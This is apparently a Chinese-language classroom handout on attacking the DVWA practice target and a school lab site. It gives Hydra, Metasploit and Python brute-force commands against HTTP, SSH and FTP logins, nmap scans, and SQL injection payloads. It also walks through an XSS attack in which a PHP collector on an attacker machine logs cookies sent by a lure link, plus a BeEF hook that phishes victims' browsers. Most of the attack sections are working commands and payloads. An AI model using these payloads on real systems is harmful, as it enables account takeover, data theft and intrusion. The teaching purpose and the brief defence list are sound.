密码爆破
一、爆破HTTP表单密码
1.Hydra爆破
- 启动OWASP漏洞靶机
- 输入IP地址打开网页
- 打开Damn Vulnerable Web Application
- 开始抓包,在登录界面按下F12,选中Network选项卡,随便输入账号密码,点击Login。
- 成功抓取到login.php,记录Request URL、Form Data以及Response
- 打开kali虚拟机,右键打开终端
hydra -l admin -P passw.txt 192.168.148.130 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V
-l
表示单个用户名(使用-L
表示用户名字典)-P
表示使用密码字典-V
用于显示每次尝试的详细输出-o
表示保存结果到文件-f
表示只要破解到第一个有效密码就停止:
后是登录失败表单返回的信息
2.Python爆破
登录进DVWA漏洞靶机之后,靶机给我们提供了一个暴力破解密码的接口,就是第四个,Brute Force
为了深入理解爆破原理,这次我们不用工具,自己写代码进行破解,这里使用最简单的Python
import requests
pwds = open("password.txt")
for pwd in pwds:
url = "http://192.168.26.131/dvwa/vulnerabilities/brute/"
# Python strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列。
resp = requests.get(url = url,
params = {"username":"admin", "password":pwd.strip(), "Login":"Login"},
# 身份信息,即cookie,必须是最新的,有效的
headers = {"Cookie":"security=low; \
PHPSESSID=jbvcllt5hbruibl548pco9pq71; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada"})
#print(resp.text)
if 'Username and/or password incorrect.' in resp.text:
print('破解失败:'+pwd, end='')
else:
print('破解成功:'+pwd, end='')
break
pwds.close()
和之前一样,抓包,然后模拟浏览器发送请求,唯一不同的就是需要注意,发送的请求需携带身份信息,因为这个操作必须在登录状态才可以执行
3.BurpSuite爆破
在Kali中打开BurpSuite,设置代理(proxy)的设置的端口为允许所有端口
打开火狐浏览器-设置-网络设置-手动配置代理-设置为Kali机器的IP
在火狐浏览器中提交表单,请求就已经被代理服务器拦截了
回到BurpSuite可以看到被拦截包的具体内容,右键,Send to Intruder
打开Intruder选项卡,clear$,add$
在Payload载荷中添加进字典,就可以开始爆破了
几种攻击模式
- Sniper 狙击手
只能破解一个字段,即只能选择一个payloadset。 - Battering ram 攻城锤
不管有几个参数,都只能用相同的字典值 - Pitchfork 草叉
有几个参数就需要设置几个字典,而且会按顺序匹配同时使用,不会交叉验证。
如果两个payload的数量不匹配,以少的为准,多余的丢弃。 - Cluster bomb 榴霰弹
产生笛卡尔积,简单来说就是和草叉相反。
4.爆破机房选课系统登录密码
先不要看答案,自己试一试
hydra -l pwh -p password.txt 10.163.72.11 http-post-form "/index/index/login.html:username=^USER^&password=^PASS^:失败" -V -o JJ.txt
二、爆破SSH密码
1.端口扫描
- ping扫描
—sP
nmap -sP 10.163.72.1/24
- 指定端口范围
—p m-n
nmap -p 22,80 10.163.72.55 #-p- 表示对所有端口进行扫描
- 服务版本探测
-sV
nmap -p 22,80 10.163.72.55 -sV
- 全面扫描
-A
nmap -A 10.163.72.55
- 保存结果
nmap -sn 101.37.79.1/24 -oX JJ.xml #默认保存在nmap安装根目录
- 其他参数
- 端口状态:https://blog.csdn.net/lee244868149/article/details/39177669
-Pn
参数可以停止ICMP请求,避免触发防火墙的安全机制-v
表示需要持续返回解析的信息-T4
表示采用什么速度进行探测,范围0-5
2.用户名枚举
- 在kail里输入msfconsole打开msf,退出输入exit
- 因为msf中的模块太多了,我们想要找ssh有关的模块,只有使用搜索功能。
search ssh
- 找到用户枚举的模块
use auxiliary/scanner/ssh/ssh_enumusers
- 查看参数设置
show options
- 设置必要的参数
set threshold 5 # 设置线程数为5 set rhosts 192.168.148.130 # 设置地址,地址也可以是一个网段 set USER_FILE teacher_name.txt # 设置需要使用的账号字典
- 运行
run
3.开始爆破
hydra -l root -P password.txt 192.168.148.130 ssh
也可以使用msf,感觉速度会更快一些,操作和上述相似,只有两步不同。
- 找到相应模块
use auxiliary/scanner/ssh/ssh_login
- 设置必要参数
set rhosts 192.168.26.130 set username root set PASS_FILE password.txt
三、爆破FTP密码
账号字典和密码字典我的ftp:pwhdown
不要问账号字典怎么来的,问就是捡来的hydra -L teacher_name.txt -P pass.txt -f 10.163.72.248 ftp -o JJ.txt -V
四、防御
- 密码使用带https的密文传输和存储
- 限制错误次数,锁定账户
- 增加尝试间隔,sleep(3)
- 验证码,图片验证码、短信验证码、二维码验证码
- 统计尝试频率,锁定IP地址
- token机制
四、特别声明
本网站没有使用登录验证码,可以无限暴力破解,因为这种漏洞不会危害服务器,所以大家随便玩吧(只有我的账号是超级管理员,是强密码,所以可以不用白费工夫了)。
特别声明一点,本网站是用于海盐商贸学校计算机专业实战演练的漏洞靶机网站,只能用于学习网络安全相关知识,磨练技能,请记得我们是白帽子阵营,请勿违反《中华人民共和国网络安全法》,从事违法犯罪,否则后果自负
XSS跨站脚本攻击
一、常用Javascript语句
1.弹窗警告
<script>alert('你好,恭喜,你账号密码没了')</script>
<script>alert(document.cookie)</script>
2.页面嵌套
<iframe src=http://10.163.72.55 width=300 height=300></iframe>
3.页面重定向
<script>alert("本站已停用,请移步到我们新网站并重新登录");location.href="http://10.163.72.55/"</script>
4.访问外部js
<script src="http://10.163.72.55/xss.js"></script>
二、手动获取cookie
- 另外打开一台kail的虚拟机,作为攻击机
- 启动apache服务器
service apache2 start
- 在网站根目录写入一个盗取cookie的js脚本
vim /var/www/html/get_cookie.php
注意在linux中,ctrl+shift+v才是复制,或者直接按鼠标滚轮也可以<?php $cookie = $_GET['cookie']; # 获取cookie $log = fopen("cookie.txt","a"); # 以追加方式打开文件,如果没有会自动创建 fwrite($log, $cookie . "\n"); # 保存文件,记得换行 fclose($log); # 关闭文件 echo '恭喜,你密码账号没了'; # 嘲讽拉满 ?>
- 常用vim命令(补充)
i
插入模式o
在下一行插入esc + :wq
保存并退出esc + :e!
不保存退出ctrl+v
可视块操作,I
插入,esc
保存,d
删除
- 在地址栏输入kali虚机的ip地址/get_cookie.php,如果没有报404错误,就表示文件存在,当然也可以cat /var/www/html/get_cookie.php再次确认一下
- 打开根目录下的写权限
ls -s # 查看权限
chown -R www-data.www-data /var/www/
- 登录DVWA靶机,选择XSS stored,现在可以布置脚本了,注意这里的诱导文字很重要,很考验水平。
<a href=javascript:location.href="http://10.163.72.55:8090/get_cookie.php?cookie="+document.cookie>兄弟、我找到你想要的资源了,懂的都懂,快来!</a>
- 受害者只需要点一下,就可以获得cookie了
cat /var/www/html/cookie.txt
- 盗取账号
拿到cookie之后怎么用呢,其实这个cookie就是浏览器缓存的用户身份信息,最简单的方法是安装一个谷歌浏览器插件进行替换,我已经帮你们下载好了,在我的ftp,pwhdown,Cookie Hacker.crx
在谷歌浏览器安装插件时,记得打开开发者模式
三、设置桥接模式
因为NAT连接的是虚拟交换机,自己的几个虚拟机网卡接到一起,只能自己和自己玩。
如果想要连接到真实交换机,先在VMvare点编辑-虚拟网络编辑器-添加网络-VMnet0,选桥接模式,桥接到真实网卡,别连到蓝牙上去了。
然后在虚拟机设置中,选择VMnet0(桥接模式),如果外部没有DHCP服务器,我们不能自动获取一个ip地址,就需要自己手动设置一个ip地址。在linux中的方法如下:
- 修改网卡配置文件
vim /etc/network/interfaces
提示:配置IP地址之前ping一下,如果提示无法访问目标主机,说明应该没人用。auto eth0 iface eth0 inet static # 配置eth0使用静态地址 address 10.163.72.194 # 配置固定IP地址 netmask 255.255.255.0 # 配置子网掩码 gateway 10.163.72.20 # 配置网关
- 重启网络
systemctl restart networking
- 关闭networkManager
如果没有生效,可能networkManager影响了,networkManager是网络服务的图形管理工具,它会默认接管网络服务。systemctl stop NetworkManager
- 配置DNS
vim /etc/resolv.conf
nameserver 114.114.114.114
- 查看IP是否修改完成
如果嫌麻烦,可以配置临时ip,不过重启网络服务就没了ifconfig ifconfig eth0 192.168.1.1 # 配置临时IP
四、自动化XSS工具beef
- 启动beef
第一次启动可能要设置密码,设置密码之后,beef就启动好了
beef会提供一个访问地址,127.0.0.1:3000/ui/panel,注意这个地址是本地环回地址,如果想在真机访问,需要把ip换成虚机的ip
如果设置的密码忘了,可以输入cat /etc/beef-xss/config.yaml查看密码 - 布置钩子
接下来就可以重复之前的套路,把beef自动生成的勾子文件弄到靶机上
在此之前,记得清空一下dvwa的数据库<script src="http://192.168.148.129:3000/hook.js"></script>
- 收获牛肉
打开beef,发现已经有人中招了,现在就可以随便玩了,beef提供了非常多好玩的功能,比如页面弹框,强制跳转,修改页面链接,播放音频,启动摄像头,浏览器窗口拍照,钓鱼等等。太多了,篇幅有限,不详细讲了,请自行摸索吧五、特别声明
本网站特意设计了xss跨站攻击漏洞,应该很容易就能找到,因为这种漏洞不会危害服务器,所以大家随便玩吧(一般是危害用户,比如盗别人的账号,利用钓鱼网站骗别人的钱等等)。
特别声明一点,本网站是用于海盐商贸学校计算机专业实战演练的漏洞靶机网站,只能用于学习网络安全相关知识,磨练技能,请记得我们是白帽子阵营,请勿违反《中华人民共和国网络安全法》,从事违法犯罪,否则后果自负
SQL注入
一、测试是否有注入点
先输入一个'
(英文单引号),如果报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’’’ at line 1,就证明能够接受单引号,存在SQL注入点。
二、获得注入点当前数据表全部内容
原始语句:select first_name,last_name from dvwa.users where user_id=''
SQL注入语句:' or 1=1 --'
注入后语句:mysql -udvwa -pdvwa dvwa -e "select first_name,last_name from dvwa.users where user_id=' ' or 1=1 -- ' '"
三、UNION联合查询
SQL注入语句: 'union select user(), database() -- '
注入后语句: select first_name,last_name from dvwa.users where user_id=''union select user(),database() -- ''
version()
获得数据库版本信息database()
获得当前数据库名user()
获得当前用户名
注意:union
后的字段必须和前面的一样,可以一个一个的猜。
四、查询所有的库名及表名
'union select TABLE_SCHEMA, table_name from INFORMATION_SCHEMA.tables -- '
五、获得任意表任意字段数据
'union select 字段1, 字段2 from 数据表 -- '
因为union
必须和前面的字段保持一致,如果想多查询几个字段,可以使用concat
的方式如下,中间的空格用于将各个字段分隔开。
'union select 字段1, concat(字段2,' ',字段3,' ',字段4) from users -- '
六、盲注点
有些注入点是只接受用户输入,但是不显示出来,dvwa就提供了一个盲注点。
SQL注入语句: ' and sleep(5) --
注入后语句: select first_name,last_name from dvwa.users where user_id='1' and sleep(5) --
如果网页显示加载图标就证明这个是一个注入点。